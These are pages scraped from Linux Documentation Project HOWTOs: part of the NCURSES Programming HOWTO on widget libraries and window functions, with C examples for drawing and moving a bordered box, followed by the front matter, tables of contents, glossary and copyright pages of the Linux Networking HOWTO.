The following is the list of widgets provided with cdk and their description.

Widget Type           Quick Description
===========================================================================
Alphalist             Allows a user to select from a list of words, with
                      the ability to narrow the search list by typing in a
                      few characters of the desired word.
Buttonbox             This creates a multiple button widget.
Calendar              Creates a little simple calendar widget.
Dialog                Prompts the user with a message, and the user
                      can pick an answer from the buttons provided.
Entry                 Allows the user to enter various types of information.
File Selector         A file selector built from Cdk base widgets. This
                      example shows how to create more complicated widgets
                      using the Cdk widget library.
Graph                 Draws a graph.
Histogram             Draws a histogram.
Item List             Creates a pop up field which allows the user to select
                      one of several choices in a small field. Very useful
                      for things like days of the week or month names.
Label                 Displays messages in a pop up box, or the label can be
                      considered part of the screen.
Marquee               Displays a message in a scrolling marquee.
Matrix                Creates a complex matrix with lots of options.
Menu                  Creates a pull-down menu interface.
Multiple Line Entry   A multiple line entry field. Very useful
                      for long fields. (like a description
                      field)
Radio List            Creates a radio button list.
Scale                 Creates a numeric scale. Used for allowing a user to
                      pick a numeric value and restrict them to a range of
                      values.
Scrolling List        Creates a scrolling list/menu list.
Scrolling Window      Creates a scrolling log file viewer. Can add
                      information into the window while its running.
                      A good widget for displaying the progress of
                      something. (akin to a console window)
Selection List        Creates a multiple option selection list.
Slider                Akin to the scale widget, this widget provides a
                      visual slide bar to represent the numeric value.
Template              Creates a entry field with character sensitive
                      positions. Used for pre-formatted fields like
                      dates and phone numbers.
Viewer                This is a file/information viewer. Very useful
                      when you need to display loads of information.
===========================================================================

19.1.2. Some Attractive Features

Apart from making our life easier with readily usable widgets, cdk solves one frustrating problem with printing multi colored strings, justified strings elegantly. Special formatting tags can be embedded in the strings which are passed to CDK functions. For Example

If the string

"</B/1>This line should have a yellow foreground and a blue
background.<!1>"

given as a parameter to newCDKLabel(), it prints the line with yellow foreground and blue background. There are other tags available for justifying string, embedding special drawing characters etc.. Please refer to the man page cdk_display(3X) for details. The man page explains the usage with nice examples.

19.1.3. Conclusion

All in all, CDK is a well-written package of widgets, which if used properly can form a strong frame work for developing complex GUI.

19.2. The dialog

Long long ago, in September 1994, when few people knew linux, Jeff Tranter wrote an article on dialog in Linux Journal. He starts the article with these words..

Linux is based on the Unix operating system, but also features a number of unique and useful kernel features and application programs that often go beyond what is available under Unix. One little-known gem is "dialog", a utility for creating professional-looking dialog boxes from within shell scripts. This article presents a tutorial introduction to the dialog utility, and shows examples of how and where it can be used

As he explains, dialog is a real gem in making professional-looking dialog boxes with ease. It creates a variety of dialog boxes, menus, check lists etc.. It is usually installed by default. If not, you can find it at ibiblio linux archive.

The above-mentioned article gives a very good overview of its uses and capabilites. The man page has more details. It can be used in variety of situations. One good example is building of linux kernel in text mode. Linux kernel uses a modified version of dialog tailored for its needs.

dialog was initially designed to be used with shell scripts. If you want to use its functionality in a c program, then you can use libdialog. The documentation regarding this is sparse. Definitive reference is the dialog.h header file which comes with the library. You may need to hack here and there to get the required output. The source is easily customizable. I have used it on a number of occasions by modifying the code.

19.3. Perl Curses Modules CURSES::FORM and CURSES::WIDGETS

The perl module Curses, Curses::Form and Curses::Widgets give access to curses from perl. If you have curses and basic perl is installed, you can get these modules from CPAN All Modules page. Get the three zipped modules in the Curses category. Once installed you can use these modules from perl scripts like any other module. For more information on perl modules see perlmod man page. The above modules come with good documentation and they have some demo scripts to test the functionality. Though the widgets provided are very rudimentary, these modules provide good access to curses library from perl.

For more information see man pages Curses(3) , Curses::Form(3) and Curses::Widgets(3). These pages are installed only when the above modules are acquired and installed.

Prev | Home | Next
Forms Library |  | Just For Fun !!!


All about window functions

NCURSES Programming HOWTO
Prev Next

9. All about window functions

Windows form the most important concept in curses. You have seen the standard window stdscr above where all the functions implicitly operated on this window. Now to make design even a simplest GUI, you need to resort to windows. The main reason you may want to use windows is to manipulate parts of the screen separately, for better efficiency, by updating only the windows that need to be changed and for a better design. I would say the last reason is the most important in going for windows. You should always strive for a better and easy-to-manage design in your programs. If you are writing big, complex GUIs this is of pivotal importance before you start doing anything.

9.1. The basics

A Window can be created by calling the function newwin(). It doesn't create any thing on the screen actually. It allocates memory for a structure to manipulate the window and updates the structure with data regarding the window like it's size, beginy, beginx etc.. Hence in curses, a window is just an abstraction of an imaginary window, which can be manipulated independent of other parts of screen. The function newwin() returns a pointer to structure WINDOW, which can be passed to window related functions like wprintw() etc.. Finally the window can be destroyed with delwin(). It will deallocate the memory associated with the window structure.

9.2. Let there be a Window !!!

What fun is it, if a window is created and we can't see it. So the fun part begins by displaying the window. The function box() can be used to draw a border around the window. Let's explore these functions in more detail in this example.

Example 7. Window Border example

/* File path: basics/win_border.c */
#include <ncurses.h>

WINDOW *create_newwin(int height, int width, int starty, int startx);
void destroy_win(WINDOW *local_win);

int main(int argc, char *argv[])
{   WINDOW *my_win;
    int startx, starty, width, height;
    int ch;

    initscr();  /* Start curses mode */
    cbreak();   /* Line buffering disabled, Pass on every thing to me */
    keypad(stdscr, TRUE);        /* I need that nifty F1 */

    height = 3;
    width = 10;
    starty = (LINES - height) / 2;  /* Calculating for a center placement */
    startx = (COLS - width) / 2;    /* of the window        */
    printw("Press F1 to exit");
    refresh();
    my_win = create_newwin(height, width, starty, startx);

    while((ch = getch()) != KEY_F(1))
    {    switch(ch)
        {    case KEY_LEFT:
                destroy_win(my_win);
                my_win = create_newwin(height, width, starty,--startx);
                break;
            case KEY_RIGHT:
                destroy_win(my_win);
                my_win = create_newwin(height, width, starty,++startx);
                break;
            case KEY_UP:
                destroy_win(my_win);
                my_win = create_newwin(height, width, --starty,startx);
                break;
            case KEY_DOWN:
                destroy_win(my_win);
                my_win = create_newwin(height, width, ++starty,startx);
                break;
        }
    }

    endwin();   /* End curses mode */
    return 0;
}

WINDOW *create_newwin(int height, int width, int starty, int startx)
{    WINDOW *local_win;

    local_win = newwin(height, width, starty, startx);
    box(local_win, 0 , 0);
                    /* 0, 0 gives default characters
                     * for the vertical and horizontal
                     * lines            */
    wrefresh(local_win);    /* Show that box */

    return local_win;
}

void destroy_win(WINDOW *local_win)
{
    /* box(local_win, ' ', ' '); : This won't produce the desired
     * result of erasing the window. It will leave it's four corners
     * and so an ugly remnant of window.
     */
    wborder(local_win, ' ', ' ', ' ',' ',' ',' ',' ',' ');
    /* The parameters taken are
     * 1. win: the window on which to operate
     * 2. ls: character to be used for the left side of the window
     * 3. rs: character to be used for the right side of the window
     * 4. ts: character to be used for the top side of the window
     * 5. bs: character to be used for the bottom side of the window
     * 6. tl: character to be used for the top left corner of the window
     * 7. tr: character to be used for the top right corner of the window
     * 8. bl: character to be used for the bottom left corner of the window
     * 9. br: character to be used for the bottom right corner of the window
     */
    wrefresh(local_win);
    delwin(local_win);
}

9.3. Explanation

Don't scream. I know it's a big example. But I have to explain some important things here :-). This program creates a rectangular window that can be moved with left, right, up, down arrow keys. It repeatedly creates and destroys windows as user press a key. Don't go beyond the screen limits. Checking for those limits is left as an exercise for the reader. Let's dissect it by line by line.

The create_newwin() function creates a window with newwin() and displays a border around it with box. The function destroy_win() first erases the window from screen by painting a border with ' ' character and then calling delwin() to deallocate memory related to it. Depending on the key the user presses, starty or startx is changed and a new window is created.

In the destroy_win, as you can see, I used wborder instead of box. The reason is written in the comments (You missed it. I know. Read the code :-)). wborder draws a border around the window with the characters given to it as the 4 corner points and the 4 lines. To put it clearly, if you have called wborder as below:
    wborder(win, '|', '|', '-', '-', '+', '+', '+', '+');

it produces some thing like

    +-----------------------+
    |            |
    |            |
    |            |
    |            |
    |            |
    |            |
    +-----------------------+

9.4. The other stuff in the example

You can also see in the above examples, that I have used the variables COLS, LINES which are initialized to the screen sizes after initscr(). They can be useful in finding screen dimensions and finding the center co-ordinate of the screen as above. The function getch() as usual gets the key from keyboard and according to the key it does the corresponding work. This type of switch- case is very common in any GUI based programs.

9.5. Other Border functions

Above program is grossly inefficient in that with each press of a key, a window is destroyed and another is created. So let's write a more efficient program which uses other border related functions.

The following program uses mvhline() and mvvline() to achieve similar effect. These two functions are simple. They create a horizontal or vertical line of the specified length at the specified position.

Example 8. More border functions

/* File path: basics/other_border.c */
#include <ncurses.h>

typedef struct _win_border_struct {
    chtype  ls, rs, ts, bs,
            tl, tr, bl, br;
}WIN_BORDER;

typedef struct _WIN_struct {
    int startx, starty;
    int height, width;
    WIN_BORDER border;
}WIN;

void init_win_params(WIN *p_win);
void print_win_params(WIN *p_win);
void create_box(WIN *win, int bool);

int main(int argc, char *argv[])
{    WIN win;
    int ch;

    initscr();      /* Start curses mode         */
    start_color();  /* Start the color functionality */
    cbreak();       /* Line buffering disabled, Pass on
                     * every thing to me         */
    keypad(stdscr, TRUE);        /* I need that nifty F1     */
    noecho();
    init_pair(1, COLOR_CYAN, COLOR_BLACK);

    /* Initialize the window parameters */
    init_win_params(&win);
    print_win_params(&win);

    attron(COLOR_PAIR(1));
    printw("Press F1 to exit");
    refresh();
    attroff(COLOR_PAIR(1));

    create_box(&win, TRUE);
    while((ch = getch()) != KEY_F(1))
    {    switch(ch)
        {    case KEY_LEFT:
                create_box(&win, FALSE);
                --win.startx;
                create_box(&win, TRUE);
                break;
            case KEY_RIGHT:
                create_box(&win, FALSE);
                ++win.startx;
                create_box(&win, TRUE);
                break;
            case KEY_UP:
                create_box(&win, FALSE);
                --win.starty;
                create_box(&win, TRUE);
                break;
            case KEY_DOWN:
                create_box(&win, FALSE);
                ++win.starty;
                create_box(&win, TRUE);
                break;
        }
    }
    endwin();   /* End curses mode */
    return 0;
}
void init_win_params(WIN *p_win)
{
    p_win->height = 3;
    p_win->width = 10;
    p_win->starty = (LINES - p_win->height)/2;
    p_win->startx = (COLS - p_win->width)/2;

    p_win->border.ls = '|';
    p_win->border.rs = '|';
    p_win->border.ts = '-';
    p_win->border.bs = '-';
    p_win->border.tl = '+';
    p_win->border.tr = '+';
    p_win->border.bl = '+';
    p_win->border.br = '+';

}
void print_win_params(WIN *p_win)
{
#ifdef _DEBUG
    mvprintw(25, 0, "%d %d %d %d", p_win->startx, p_win->starty,
                p_win->width, p_win->height);
    refresh();
#endif
}
void create_box(WIN *p_win, int bool)
{    int i, j;
    int x, y, w, h;

    x = p_win->startx;
    y = p_win->starty;
    w = p_win->width;
    h = p_win->height;

    if(bool == TRUE)
    {    mvaddch(y, x, p_win->border.tl);
        mvaddch(y, x + w, p_win->border.tr);
        mvaddch(y + h, x, p_win->border.bl);
        mvaddch(y + h, x + w, p_win->border.br);
        mvhline(y, x + 1, p_win->border.ts, w - 1);
        mvhline(y + h, x + 1, p_win->border.bs, w - 1);
        mvvline(y + 1, x, p_win->border.ls, h - 1);
        mvvline(y + 1, x + w, p_win->border.rs, h - 1);

    }
    else
        for(j = y; j <= y + h; ++j)
            for(i = x; i <= x + w; ++i)
                mvaddch(j, i, ' ');

    refresh();

}

Prev | Home | Next
Attributes |  | All about color


How can I help?

Linux Networking HOWTO
Prev Next

Chapter 1. How can I help?

We will try to provide comprehensive coverage for all Linux Networking implementations. However, time is of the essence, and this document is not a revenue maker. We provide this information in the hope that it will be useful to both the Linux Community and to newly converted Linux users. We are always interested in feedback! We will implement every relevant topic possible in this HOWTO document.

Prev | Home | Next
Linux Networking HOWTO |  | Assisting with the Net-HOWTO


Document History

Linux Networking HOWTO
Prev Next

Chapter 2. Document History

The original NET-FAQ was written by Matt Welsh and Terry Dawson. NET-FAQ answered frequently asked questions about networking for Linux (at a time before the Linux Documentation Project had formally started). This document covered the very early development versions of the Linux Networking Kernel. The NET-2-HOWTO superseded the NET-FAQ, and it was one of the original LDP HOWTO documents. It covered what was called "version 2" (and subsequently "version 3") of the Linux kernel Networking software. NET-2_HOWTO in turn superseded it, and relates only to version 4 of the Linux Networking Kernel (ie: kernel releases 2.x and 2.2.x. ).

Previous versions of this document became quite large because of the enormous amount of material that fell within its scope. To help reduce this problem, a number of HOWTOs dealing with specific networking topics have been produced. This document will provide pointers to them where relevant, and it will cover those areas not yet reviewed by other documents.

Prev | Home | Next
Assisting with the Net-HOWTO |  | Feedback


How to use this HOWTO.

Linux Networking HOWTO
Prev Next

Chapter 3. How to use this HOWTO.

This document is organized top-down. The first sections include informative material, and it can be skipped if you are not interested; what follows is a generic discussion of networking issues, and you must ensure you understand this before proceeding to more specific parts. The ``technology specific'' information is grouped into three main sections: Ethernet and IP-related information, technologies pertaining to widespread PC hardware, and seldom-used technologies.

The suggested path through this document is as follows:

Read the generic sections:

These sections apply to almost every technology described in subsequent sections, and they are very important for you to understand. I expect many of the readers will be confident with this material.

Consider your network:

You should know how your network is (or will be) designed, and you should also be familiar with exactly what hardware and technology types you will be implementing.

If you are directly connected to a LAN or the Internet, please refer to the ``Ethernet and IP'' section:

This section describes basic Ethernet configurations, and it describes the various features that Linux offers for IP networking (ie: firewalling, advanced routing, etc).

If you are interested in low-cost local networks or dial-up connections, please refer to the next section

This section describes the widespread technologies used on personal workstations (ie: PLIP, PPP, SLIP, and ISDN).

Please refer to the technology-specific sections that are related to your requirements:

Your needs may differ from IP and/or other common hardware This final section covers details specific to both non-IP protocols and to peculiar communication hardware.

Do the configuration work:

You should actually try to configure your network. Take careful note of any existing problems

Look for further help:

If you experience problems that this document does not help you to resolve, then you should refer to the sections related to "Help" and "Where to report bugs".

Have fun!

Networking is fun! Enjoy it!

Prev | Home | Next
Feedback |  | Conventions used in this document


General Information about Linux Networking.

Linux Networking HOWTO
Prev Next

Chapter 4. General Information about Linux Networking.

Table of Contents
4.1. Linux Networking Resources.
4.2. Sources of non-linux-specific network information.
Prev | Home | Next
Conventions used in this document |  | Linux Networking Resources.


Generic Network Configuration Information.

Linux Networking HOWTO
Prev Next

Chapter 5. Generic Network Configuration Information.

Table of Contents
5.1. What do I need to start ?
5.1.1. Current Kernel source(Optional).
5.1.2. IP Addresses: an Explanation.
5.2. Where should I put the configuration commands ?
5.3. Creating your network interfaces.
5.4. Configuring a network interface. Kernels 2.0 and 2.2
5.5. Configuring your Name Resolver.
5.5.1. What's in a name ?
5.5.2. What information you will need.
5.5.3. /etc/resolv.conf
5.5.4. /etc/host.conf
5.5.5. /etc/hosts
5.5.6. Running a name server
5.6. Configuring your loopback interface.
5.7. Routing.
5.8. Configuring your network servers and services.
5.8.1. /etc/services
5.8.2. /etc/inetd.conf
5.9. Other miscellaneous network related configuration files.
5.9.1. /etc/protocols
5.9.2. /etc/networks
5.10. Network Security and access control.
5.10.1. /etc/ftpusers
5.10.2. /etc/securetty
5.10.3. The tcpd hosts access control mechanism.
5.10.3.1. /etc/hosts.allow
5.10.3.2. /etc/hosts.deny
5.10.4. /etc/hosts.equiv
5.10.5. Configure your ftp daemon properly.
5.10.6. Network Firewalling.
5.10.7. Other suggestions.

You will pretty much need to know and understand the following subsections before you actually try to configure your network. They are fundamental principles that apply regardless of the exact nature of the network you wish to deploy.

Prev | Home | Next
Sources of non-linux-specific network information. |  | What do I need to start ?


Ethernet Information

Linux Networking HOWTO
Prev Next

Chapter 6. Ethernet Information

Table of Contents
6.1. Supported Ethernet Cards
6.1.1. 3Com
6.1.2. AMD, ATT, Allied Telesis, Ansel, Apricot
6.1.3. Cabletron, Cogent, Crystal Lan
6.1.4. Danpex, DEC, Digi, DLink
6.1.5. Fujitsu, HP, ICL, Intel
6.1.6. KTI, Macromate, NCR NE2000/1000, Netgear, New Media
6.1.7. PureData, SEEQ, SMC
6.1.8. Sun Lance, Sun Intel, Schneider, WD, Zenith, IBM, Enyx
6.2. General Ethernet Information
6.3. Using 2 or more Ethernet Cards in the same machine

This section covers information specific to Ethernet, and it also covers the configuring of Ethernet Cards.

Prev | Home | Next
Network Security and access control. |  | Supported Ethernet Cards


IP Related Information

Linux Networking HOWTO
Prev Next

Chapter 7. IP Related Information

Table of Contents
7.1. Kernel Level Options
7.2. EQL - multiple line traffic equaliser
7.3. IP Accounting (for Linux-2.0)
7.4. IP Aliasing
7.5. IP Firewall (for Linux-2.0)
7.6. IPIP Encapsulation
7.6.1. A tunneled network configuration.
7.6.2. A tunneled host configuration.
7.7. IP Masquerade
7.7.1. Masquerading with IPFWADM (Kernels 2.0.x)
7.7.2. Masquerading with IPCHAINS
7.8. IP Transparent Proxy
7.9. IPv6
7.10. IPv6 Linux resources
7.11. Mobile IP
7.12. Multicast
7.13. Traffic Shaper - Changing allowed bandwidth

This section covers information specific to IP.

Prev | Home | Next
Using 2 or more Ethernet Cards in the same machine |  | Kernel Level Options


DHCP and DHCPD

Linux Networking HOWTO
Prev Next

Chapter 8. DHCP and DHCPD

Table of Contents
8.1. DHCP Client Setup for users of LinuxConf
8.2. DHCP Server Setup for Linux
8.2.1. Options for DHCPD
8.2.2. Starting the server

DHCP is an acronym for Dynamic Host Configuration Protocol. The creation of DHCP has made configuring the network on multiple hosts extremely simple. Instead of having to configure each host separately, you can assign all of the common host-used parameters with a DHCP server.

Each time the host boots up, it will broadcast a packet to the network. This packet is a call to any DHCP servers located on the same segment to configure the host.

DHCP is extermely useful in assigning items such as the IP address, Netmask, and gateway of each host.

Prev | Home | Next
Traffic Shaper - Changing allowed bandwidth |  | DHCP Client Setup for users of LinuxConf


Advanced Networking with Kernel 2.2

Linux Networking HOWTO
Prev Next

Chapter 9. Advanced Networking with Kernel 2.2

Table of Contents
9.1. The Basics
9.2. Adding a route with the new ip tools
9.3. Using NAT with Kernel 2.2

Kernel 2.2 has advanced the routing capabilities of Linux quite a bit. Unfortunately, the documentation for using these new capabilities is almost impossible to find (even if it does exist).

I have put some time into it and have been able to do a little with it. I will add more as I have the time and the assistance to figure out what it all means.

In kernel 2.0 and below, Linux used the standard route command to place routes in a single routing table. If you were to type netstat -rn at the Linux prompt, you would see and example.

In the newer kernels (2.1 and above), you have another option. This option is rule based, and it allows you to have multiple routing tables. The new rules allow a great deal of flexibility in deciding how a packet is handled. You can choose between routes based not only on the destination address, but also on the source address, TOS, or incoming device.

Prev | Home | Next
DHCP Server Setup for Linux |  | The Basics


Kernel 2.2 IP Command Reference (Work In Progress)

Linux Networking HOWTO
Prev Next

Chapter 10. Kernel 2.2 IP Command Reference (Work In Progress)

Prev | Home | Next
Using NAT with Kernel 2.2 |  | ip


Using common PC hardware

Linux Networking HOWTO
Prev Next

Chapter 11. Using common PC hardware

Table of Contents
11.1. ISDN
11.2. PLIP for Linux-2.0
11.3. PPP
11.4. SLIP client - (Antiquated)
11.4.1. dip
11.4.2. slattach
11.4.3. When do I use which ?
11.4.4. Static SLIP server with a dialup line and DIP.
11.4.5. Dynamic SLIP server with a dialup line and DIP.
11.4.6. Using DIP.
11.4.7. Permanent SLIP connection using a leased line and slattach.
11.4.8. SLIP server.
11.4.9. Slip Server using sliplogin.
11.4.10. Where to get sliplogin
11.4.11. Configuring /etc/passwd for Slip hosts.
11.4.12. Configuring /etc/slip.hosts
11.4.13. Configuring the /etc/slip.login file.
11.4.14. Configuring the /etc/slip.logout file.
11.4.15. Configuring the /etc/slip.tty file.
11.4.16. Slip Server using dip.
11.4.17. Configuring /etc/diphosts
11.4.18. SLIP server using the dSLIP package.
Prev | Home | Next
ip |  | ISDN


Other Network Technologies

Linux Networking HOWTO
Prev Next

Chapter 12. Other Network Technologies

Table of Contents
12.1. ARCNet
12.2. Appletalk (AF_APPLETALK)
12.2.1. Configuring the Appletalk software.
12.2.2. Exporting a Linux filesystems via Appletalk.
12.2.3. Sharing your Linux printer across Appletalk.
12.2.4. Starting the appletalk software.
12.2.5. Testing the appletalk software.
12.2.6. Caveats of the appletalk software.
12.2.7. More information
12.3. ATM
12.4. AX25 (AF_AX25)
12.5. DECNet
12.6. FDDI
12.7. Frame Relay
12.8. IPX (AF_IPX)
12.9. NetRom (AF_NETROM)
12.10. Rose protocol (AF_ROSE)
12.11. SAMBA - `NetBEUI', `NetBios', `CIFS' support.
12.12. STRIP support (Starmode Radio IP)
12.13. Token Ring
12.14. X.25
12.15. WaveLan Card

The following subsections are specific to particular network technologies. The information contained in these sections does not necessarily apply to any other type of network technology. The topics are sorted alphabetically.

Prev | Home | Next
SLIP client - (Antiquated) |  | ARCNet


Cables and Cabling

Linux Networking HOWTO
Prev Next

Chapter 13. Cables and Cabling

Table of Contents
13.1. Serial NULL Modem cable
13.2. Parallel port cable (PLIP cable)
13.3. 10base2 (thin coax) Ethernet Cabling
13.4. Twisted Pair Ethernet Cable

Those of you handy with a soldering iron may want to build your own cables to interconnect two linux machines. The following cabling diagrams should assist you with your little project.

Prev | Home | Next
WaveLan Card |  | Serial NULL Modem cable


Glossary of Terms used in this document.

Linux Networking HOWTO
Prev Next

Chapter 14. Glossary of Terms used in this document.

The following is a list of some of the most important terms used in this document.

ARP

This is an acronym for the Address Resolution Protocol . It is how a network machine associates an IP Address with a hardware address.

ATM

This is an acronym for Asynchronous Transfer Mode. An ATM network packages data into standard size blocks which it can convey efficiently from point to point. ATM is a circuit switched packet network technology.

Client

This is usually the piece of software at the end of a system where the user is located. There are exceptions. For example, in the X11 window system, it is actually the server with the user and the client runs on the remote machine. The client is the program (or end) of a system that is receiving the service provided by the server. In the case of peer to peer systems such as slip or ppp, the client is taken to be the end that initiates the connection. The remote end being called is taken to be the server.

Datagram

A datagram is a discrete package of data and headers which contain addresses (which is the basic unit of transmission across an IP network). You might also hear this called a `packet'.

DLCI

The DLCI is the Data Link Connection Identifier. It is used to identify a unique virtual Point-to-Point connection via a Frame Relay network. The DLCI's are normally assigned by the Frame Relay network provider.

Frame Relay

Frame Relay is a network technology ideally suited to carrying traffic that is of bursty or sporadic in nature. Network costs are reduced by having many Frame Relay customer sharing the same network capacity (and relying on them wanting to make use of the network at slightly different times).

Hardware address

This is a number that uniquely identifies a host in a physical network at the media access layer. Examples of this are Ethernet Addresses and AX.25 Addresses.

ISDN

This is an acronym for Integrated Services Digital Network. ISDN provides a standardized means by which Telecommunications companies may deliver either voice or data information to a customers premises. ISDN is technically a circuit switched data network.

ISP

This is an acronym for an Internet Service Provider. These are organizations or companies that provide people with network connectivity to the Internet.

IP address

This is a number that uniquely identifies a TCP/IP host on the network. The address is 4 bytes long and is usually represented in what is called the "dotted decimal notation" (where each byte is represented in decimal from with dots `.' between them).

MSS

The Maximum Segment Size (MSS) is the largest quantity of data that can be transmitted at one time. If you want to prevent local fragmentation, MSS would equal MTU-IP header.

MTU

The Maximum Transmission Unit (MTU) is a parameter that determines the largest datagram than can be transmitted by an IP interface (without it needing to be broken down into smaller units). The MTU should be larger than the largest datagram you wish to transmit unfragmented. Note: this only prevents fragmentation locally. Some other link in the path may have a smaller MTU: the datagram will be fragmented at that point. Typical values are 1500 bytes for an ethernet interface, or 576 bytes for a SLIP interface.

Route

The route is the path that your datagrams take through the network to reach their destination.

Server

This is usually the piece of software or end of a system remote from the user. The server provides some service to one or many clients. Examples of servers include ftp, Networked File System, or Domain Name Server. In the case of peer to peer systems (such as slip or ppp ), the server is taken to be the end of the link that is called. The end calling is taken to be the client.

Window

The window is the largest amount of data that the receiving end can accept at a given point in time.

Prev | Home | Next
Twisted Pair Ethernet Cable |  | Authors


Authors

Linux Networking HOWTO
Prev Next

Chapter 15. Authors

Table of Contents
15.1. Current
15.2. Past
Prev | Home | Next
Glossary of Terms used in this document. |  | Current


Copyright.

Linux Networking HOWTO
Prev

Chapter 16. Copyright.

Copyright Information

The NET-3/4-HOWTO,NET-3, and Networking-HOWTO, information on how to install and configure networking support for Linux. Copyright (c) 1997 Terry Dawson, 1998 Alessandro Rubini, 1999 & 2000 Joshua D. Drake {POET}/CommandPrompt, Inc. - http://www.linuxports.com/

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the: Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Prev | Home
Past |


Linux Networking HOWTO

Joshua Drake

Copyright © 2000 by Commandprompt, Inc

This is a LinuxPorts.Com Document for the Linux Documentation Project. It has been sponsored in part by the Open Source Documentation Fund.

The current version is v1.7.0 is a minor update with some grammar fixes.

Table of Contents
1. How can I help?
1.1. Assisting with the Net-HOWTO
2. Document History
2.1. Feedback
3. How to use this HOWTO.
3.1. Conventions used in this document
4. General Information about Linux Networking.
4.1. Linux Networking Resources.
4.2. Sources of non-linux-specific network information.
5. Generic Network Configuration Information.
5.1. What do I need to start ?
5.1.1. Current Kernel source(Optional).
5.1.2. IP Addresses: an Explanation.
5.2. Where should I put the configuration commands ?
5.3. Creating your network interfaces.
5.4. Configuring a network interface. Kernels 2.0 and 2.2
5.5. Configuring your Name Resolver.
5.5.1. What's in a name ?
5.5.2. What information you will need.
5.5.3. /etc/resolv.conf
5.5.4. /etc/host.conf
5.5.5. /etc/hosts
5.5.6. Running a name server
5.6. Configuring your loopback interface.
5.7. Routing.
5.7.1. So what does the routed program do ?
5.8. Configuring your network servers and services.
5.8.1. /etc/services
5.8.1.1. An example /etc/services file.
5.8.2. /etc/inetd.conf
5.8.2.1. An example /etc/inetd.conf
5.9. Other miscellaneous network related configuration files.
5.9.1. /etc/protocols
5.9.2. /etc/networks
5.10. Network Security and access control.
5.10.1. /etc/ftpusers
5.10.2. /etc/securetty
5.10.3. The tcpd hosts access control mechanism.
5.10.3.1. /etc/hosts.allow
5.10.3.2. /etc/hosts.deny
5.10.4. /etc/hosts.equiv
5.10.5. Configure your ftp daemon properly.
5.10.6. Network Firewalling.
5.10.7. Other suggestions.
6. Ethernet Information
6.1. Supported Ethernet Cards
6.1.1. 3Com
6.1.2. AMD, ATT, Allied Telesis, Ansel, Apricot
6.1.3. Cabletron, Cogent, Crystal Lan
6.1.4. Danpex, DEC, Digi, DLink
6.1.5. Fujitsu, HP, ICL, Intel
6.1.6. KTI, Macromate, NCR NE2000/1000, Netgear, New Media
6.1.7. PureData, SEEQ, SMC
6.1.8. Sun Lance, Sun Intel, Schneider, WD, Zenith, IBM, Enyx
6.2. General Ethernet Information
6.3. Using 2 or more Ethernet Cards in the same machine
6.3.1. If your driver is a module (Normal with newer distros)
7. IP Related Information
7.1. Kernel Level Options
7.1.1. General IP option listing
7.2. EQL - multiple line traffic equaliser
7.3. IP Accounting (for Linux-2.0)
7.3.1. IP Accounting (for Linux-2.2)
7.4. IP Aliasing
7.5. IP Firewall (for Linux-2.0)
7.5.1. IP Firewall (for Linux-2.2)
7.6. IPIP Encapsulation
7.6.1. A tunneled network configuration.
7.6.2. A tunneled host configuration.
7.7. IP Masquerade
7.7.1. Masquerading with IPFWADM (Kernels 2.0.x)
7.7.2. Masquerading with IPCHAINS
7.8. IP Transparent Proxy
7.9. IPv6
7.10. IPv6 Linux resources
7.11. Mobile IP
7.12. Multicast
7.13. Traffic Shaper - Changing allowed bandwidth
8. DHCP and DHCPD
8.1. DHCP Client Setup for users of LinuxConf
8.2. DHCP Server Setup for Linux
8.2.1. Options for DHCPD
8.2.2. Starting the server
9. Advanced Networking with Kernel 2.2
9.1. The Basics
9.1.1. Using the information
9.2. Adding a route with the new ip tools
9.3. Using NAT with Kernel 2.2
10. Kernel 2.2 IP Command Reference (Work In Progress)
10.1. ip
11. Using common PC hardware
11.1. ISDN
11.2. PLIP for Linux-2.0
11.2.1. PLIP for Linux-2.2
11.3. PPP
11.4. SLIP client - (Antiquated)
11.4.1. dip
11.4.2. slattach
11.4.3. When do I use which ?
11.4.4. Static SLIP server with a dialup line and DIP.
11.4.5. Dynamic SLIP server with a dialup line and DIP.
11.4.6. Using DIP.
11.4.7. Permanent SLIP connection using a leased line and slattach.
11.4.8. SLIP server.
11.4.9. Slip Server using sliplogin.
11.4.10. Where to get sliplogin
11.4.11. Configuring /etc/passwd for Slip hosts.
11.4.12. Configuring /etc/slip.hosts
11.4.13. Configuring the /etc/slip.login file.
11.4.14. Configuring the /etc/slip.logout file.
11.4.15. Configuring the /etc/slip.tty file.
11.4.16. Slip Server using dip.
11.4.17. Configuring /etc/diphosts
11.4.18. SLIP server using the dSLIP package.
12. Other Network Technologies
12.1. ARCNet
12.2. Appletalk (AF_APPLETALK)
12.2.1. Configuring the Appletalk software.
12.2.2. Exporting a Linux filesystems via Appletalk.
12.2.3. Sharing your Linux printer across Appletalk.
12.2.4. Starting the appletalk software.
12.2.5. Testing the appletalk software.
12.2.6. Caveats of the appletalk software.
12.2.7. More information
12.3. ATM
12.4. AX25 (AF_AX25)
12.5. DECNet
12.6. FDDI
12.7. Frame Relay
12.8. IPX (AF_IPX)
12.9. NetRom (AF_NETROM)
12.10. Rose protocol (AF_ROSE)
12.11. SAMBA - `NetBEUI', `NetBios', `CIFS' support.
12.12. STRIP support (Starmode Radio IP)
12.13. Token Ring
12.14. X.25
12.15. WaveLan Card
13. Cables and Cabling
13.1. Serial NULL Modem cable
13.2. Parallel port cable (PLIP cable)
13.3. 10base2 (thin coax) Ethernet Cabling
13.4. Twisted Pair Ethernet Cable
14. Glossary of Terms used in this document.
15. Authors
15.1. Current
15.2. Past
16. Copyright.
Next
How can I help?


Assisting with the Net-HOWTO

Linux Networking HOWTO
Prev Chapter 1. How can I help? Next

1.1. Assisting with the Net-HOWTO

If you would like to assist with this document, there are two primary avenues that are extremely helpful.

  • Purchase an OpenBook! If you purchase OpenDocs books, OpenDocs Publishing will donate a portion of the proceeds back to the Open Source Documentation Fund. This fund assists authors financially while they continue to write documentation for Open Source projects.

  • Provide a monetary contribution to the document. By contributing, you can even request what you would like to have updated, written, or expanded within the document. To provide a monetary contribution, please contact Command Prompt, Inc. You may also contact Joshua Drake.

  • If you have written something that you would like to contribute, please email it to poet@linuxports.com

Prev | Home | Next
How can I help? | Up | Document History


Feedback

Linux Networking HOWTO
Prev Chapter 2. Document History Next

2.1. Feedback

We are always interested in feedback. Please contact us at: poet@linuxports.com.

